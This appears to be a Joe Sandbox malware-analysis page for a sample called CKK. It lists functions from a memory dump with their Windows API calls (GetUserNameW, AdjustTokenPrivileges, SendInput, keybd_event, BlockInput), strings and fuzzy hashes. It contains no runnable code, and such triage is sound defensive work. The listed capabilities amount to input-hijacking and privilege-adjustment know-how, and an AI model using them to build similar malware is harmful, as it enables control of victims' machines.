Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 5dbb4ad850b4aef1ba3818db497cb15726fe71f75ae37a5bfd20f1b8d85922af
Instruction ID: 2b7d307d7313f5549cb8882c87bef58c4204d0e4dddeee5cede7daeb92e2e947
Opcode Fuzzy Hash: 5dbb4ad850b4aef1ba3818db497cb15726fe71f75ae37a5bfd20f1b8d85922af
Instruction Fuzzy Hash: 92F0F471951309FFDF00DFE59C89AAEBBBCEB08644F5045A5E501E2181E774AA489A50

Uniqueness

Uniqueness Score: -1.00%

Function 00E7C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 00E7C36C

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 561bdaf90c47cd2f9675434f6d0b6d60b7e066e40315193f09fd5e535feb8bda
Instruction ID: 288e1503de583aee8c9262c994d069ec2df7083c012322ee2ac499d1be08a592
Opcode Fuzzy Hash: 561bdaf90c47cd2f9675434f6d0b6d60b7e066e40315193f09fd5e535feb8bda
Instruction Fuzzy Hash: 2A413A725006197FCB209FB9DC48DAB77BCEB84358F2092ADF919E7180E6309D41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00E9D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00E9D28C

Strings

X64, xrefs: 00E9D2A8

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 127c0c3e2e492691856ebedaf245c628a6d0ca614bd562e6ee2c1ea1621d90e0
Instruction ID: 69e81a45222168db081b3cce7d3a7c486d2f104dfd537e7d85ea7d160790bab5
Opcode Fuzzy Hash: 127c0c3e2e492691856ebedaf245c628a6d0ca614bd562e6ee2c1ea1621d90e0
Instruction Fuzzy Hash: 48D0C9B480512DEECF90CB90EC88DD9B37CFB04345F100552F506B2080D73095488F10

Uniqueness

Uniqueness Score: -1.00%

Function 00E6CAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: f745cfb2b28293938f5a0d7ca4c6ebeac9b6fe71a102a0967cc08f798c8dd093
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 2F023B71E402199BDF14CFA9D8806ADFBF1EF88354F25916AD859FB380D731AA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EB68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00EB6918
FindClose.KERNEL32(00000000), ref: 00EB6961

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: be000ff2110ff5b5e99c25d3c4690137ea75d5167baecfd13597eb7bf1aeb489
Instruction ID: af807acd4400e3ac72f522a9ed71dcc7d5735fcdecb7c4dc90e5a09430fe4113
Opcode Fuzzy Hash: be000ff2110ff5b5e99c25d3c4690137ea75d5167baecfd13597eb7bf1aeb489
Instruction Fuzzy Hash: 9B11E2316046019FC710CF29D484A16BBE1FF84328F14C699F8699F7A2C734EC05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EB37B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00EB37E4
FormatMessageW.KERNEL32 ref: 00EB37F4

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: bcb37172e9eaea9b52ff33dce189676370754b763500dbecb73dba15d283f60f
Instruction ID: 584da97fcfaef2656eecd55635d0db2d2e61d23699d3bfb2fcdd126aa33abf65
Opcode Fuzzy Hash: bcb37172e9eaea9b52ff33dce189676370754b763500dbecb73dba15d283f60f
Instruction Fuzzy Hash: 60F0EC707052356AD71017B66C4DFDB779DEFC4761F100166F509F2191D9605904C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00EAB226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C), ref: 00EAB25D
keybd_event.USER32 ref: 00EAB270

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 131b2d1f9c689ffc3f1755cefac5018edd2efba88b509b9a8f17a2654ab7ae37
Instruction ID: f100df0233d6cb4157fc50c658961a1c90523dd702393bc27f4870fa254b78ab
Opcode Fuzzy Hash: 131b2d1f9c689ffc3f1755cefac5018edd2efba88b509b9a8f17a2654ab7ae37
Instruction Fuzzy Hash: D9F06D7080424EAFDB058FA1D805BEE7BB4FF08309F10804AF951A91A2C3799205DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00EA10BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32 ref: 00EA10D4
CloseHandle.KERNEL32(?), ref: 00EA10E9

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 4f1a1be73be673c7cc6b5be835f4cc651c876a44ed645dd660d5cedae5983146
Instruction ID: 0d29c5fde237f6591117c915852a5adc3110294861df175df5346124028f6932
Opcode Fuzzy Hash: 4f1a1be73be673c7cc6b5be835f4cc651c876a44ed645dd660d5cedae5983146
Instruction Fuzzy Hash: 04E04F32008601AEE7252B11FC06F7377E9EB04321F20882EF9A5904B1DB626C94DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00E4CAF0 Relevance: 1.9, Strings: 1, Instructions: 659COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00E90C40

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: 2e5ee6b43ee8acbc7cd6757aeb92892937420d21b40da9b904172e2a324a2b07
Instruction ID: 3895e5ae798c2d95135c5af48b799497c9a463ae74e532670823b01b8408a686
Opcode Fuzzy Hash: 2e5ee6b43ee8acbc7cd6757aeb92892937420d21b40da9b904172e2a324a2b07
Instruction Fuzzy Hash: 4D328C70A01218DFCF54DF90E881AEDB7F5BF04308F646069E806BB292D775AE49CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00E7676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?), ref: 00E76998

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c4e062eb8f3ef88bf291c4039619f478634e0f4db52d0be5de11fc8545ebe67c
Instruction ID: 288c9deec47d916d0f88ff407f3ef69113f65278fb31594c8d494ade3caa8b58
Opcode Fuzzy Hash: c4e062eb8f3ef88bf291c4039619f478634e0f4db52d0be5de11fc8545ebe67c
Instruction Fuzzy Hash: D1B15A31510A099FEB19CF28C486BA47BA0FF4536CF25D658E99DDF2A2C335D985CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00E5B119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 00E9851F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 27f27ef3bcaffaea332546f642ab64086685eae004bac4d2db74eede92c3336a
Instruction ID: 66d51a5b02c6600f08322ad3bf127e337dbbadeda0578f60d534046f4f0728a4
Opcode Fuzzy Hash: 27f27ef3bcaffaea332546f642ab64086685eae004bac4d2db74eede92c3336a
Instruction Fuzzy Hash: 65125E719002299FCF24CF58C9806EEB7F5FF48710F1495AAE849FB251EB309A85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EBEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32 ref: 00EBEABD

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 1294b131ae9ee6417c5b89271af1979ba5c180dd9bc59e376be93220a9a760cd
Instruction ID: eabadcdb31dab44adf2383981fd2a70825f3b97093efa623a671b3c8c92d5891
Opcode Fuzzy Hash: 1294b131ae9ee6417c5b89271af1979ba5c180dd9bc59e376be93220a9a760cd
Instruction Fuzzy Hash: 61E01A312002049FC710EF6AE804EDAF7EDAF987A0F109416FC49E7391DA74E8448B90

Uniqueness

Uniqueness Score: -1.00%

Function 00E6781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 00E6798B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: e28de22f18323e8738e4032b13a837609c76468a38f2786d242f951a0b6e3ed0
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: 815175616CC7155ADB3C8578B95A7FE67D59B823CCF183A09D8C2F7282C611EE41C352

Uniqueness

Uniqueness Score: -1.00%

Function 00E76DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4c0a90d39b8f0880a393ad7422cafc973ccc430c49948ee9628ca16e5862d6e
Instruction ID: d3b2989061178b3841704a7c655c19f9a09ee567bd8e524cc4acd4cc21fbcdd1
Opcode Fuzzy Hash: c4c0a90d39b8f0880a393ad7422cafc973ccc430c49948ee9628ca16e5862d6e
Instruction Fuzzy Hash: 61327722D28F454DD7239A35CC62335664DAFB33C9F15E33BF86AB99A5EB28C4834100

Uniqueness

Uniqueness Score: -1.00%

Function 00E5CC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23015ca265ea2371c5dc6969254b61d8b32be6b128f0564d495978259327052d
Instruction ID: 3b41a8e60b8ed503fe562693d5582591b50509ffd18e6437e78d4309345cc5ab
Opcode Fuzzy Hash: 23015ca265ea2371c5dc6969254b61d8b32be6b128f0564d495978259327052d
Instruction Fuzzy Hash: E3324D31A002458FDF24EF28C4A46BDBBA1EF45309F38A966D95AF7292D330DD85DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00E47920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95fa782a57474dea93b69ebf631edcefa9158df357bd645ea35319b7ad3f1ea7
Instruction ID: 9418db575c0d50f9fca21dbfc9c19f26433baccc40a183e888a55ba99e9508dd
Opcode Fuzzy Hash: 95fa782a57474dea93b69ebf631edcefa9158df357bd645ea35319b7ad3f1ea7
Instruction Fuzzy Hash: BA22AFB1A006099FDF14DF64D881AEEB3F6FF48304F146529E85AB7291EB359D14CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00E491C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2cbbebca2ca320f877656f5d902c01828a9f6d4b244584ba32e13d9820bd38a
Instruction ID: 892e1c86a3e8f8972cbee48e23541117006a2f91213e732a5c85686458c9c86b
Opcode Fuzzy Hash: e2cbbebca2ca320f877656f5d902c01828a9f6d4b244584ba32e13d9820bd38a
Instruction Fuzzy Hash: DD02A6B1E00119EBDB04EF64D881AAEB7F5FF44304F109565E81ABB391EB31AE14CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00E619B0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 7320e47ab629cd8acb4662a514797d1a60cd5577a2dca0ae13fc3e28191ed449
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 9E91A3322490E34ADB2F427AA57407DFFE15A923E631E27DDD4F2EA1C1FD148554E620

Uniqueness

Uniqueness Score: -1.00%

Function 00E61706 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 5859ae1b45b1b9b2fc35fea00232732fc3132899b43aa822de467bfdc7a691be
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: 3D8161726480E30ADB6F823A953407EFFE15A923E531E27DED4F2DB1C1EE249554E620

Uniqueness

Uniqueness Score: -1.00%

Function 00EB2046 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2b2d792071d3d466ff05be23aaf14e1eefe31ddf6e4b421f8706f09f2ad14eb
Instruction ID: 75457d5ac0c09eb27e5ff6bf8dd96618d0c348003039c38630c43e025da7ed2e
Opcode Fuzzy Hash: f2b2d792071d3d466ff05be23aaf14e1eefe31ddf6e4b421f8706f09f2ad14eb
Instruction Fuzzy Hash: C721E7323206158BDB28CF79C8236BE73E5AB54310F158A2EE4A7D33D0DE35A904DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00E5D071 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eccedda4d59d461ace39051ca89190d02fb05e6e9ef7f3bff90add423f835b6
Instruction ID: d93f52d3f7135b4b8f3aa4e95b6eea1228a09e60594e80fd9dd8b36be13ecfd8
Opcode Fuzzy Hash: 5eccedda4d59d461ace39051ca89190d02fb05e6e9ef7f3bff90add423f835b6
Instruction Fuzzy Hash: B9F0DE0204DEDABBCB5B0622987F1A66FB0C84702422807CF849B06BD79BCC109DC352

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00EC2B30
DeleteObject.GDI32(00000000), ref: 00EC2B43
DestroyWindow.USER32 ref: 00EC2B52
GetDesktopWindow.USER32 ref: 00EC2B6D
GetWindowRect.USER32(00000000), ref: 00EC2B74
SetRect.USER32 ref: 00EC2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00EC2CB1
CreateWindowExW.USER32 ref: 00EC2CF8
GetClientRect.USER32 ref: 00EC2D04
CreateWindowExW.USER32 ref: 00EC2D40
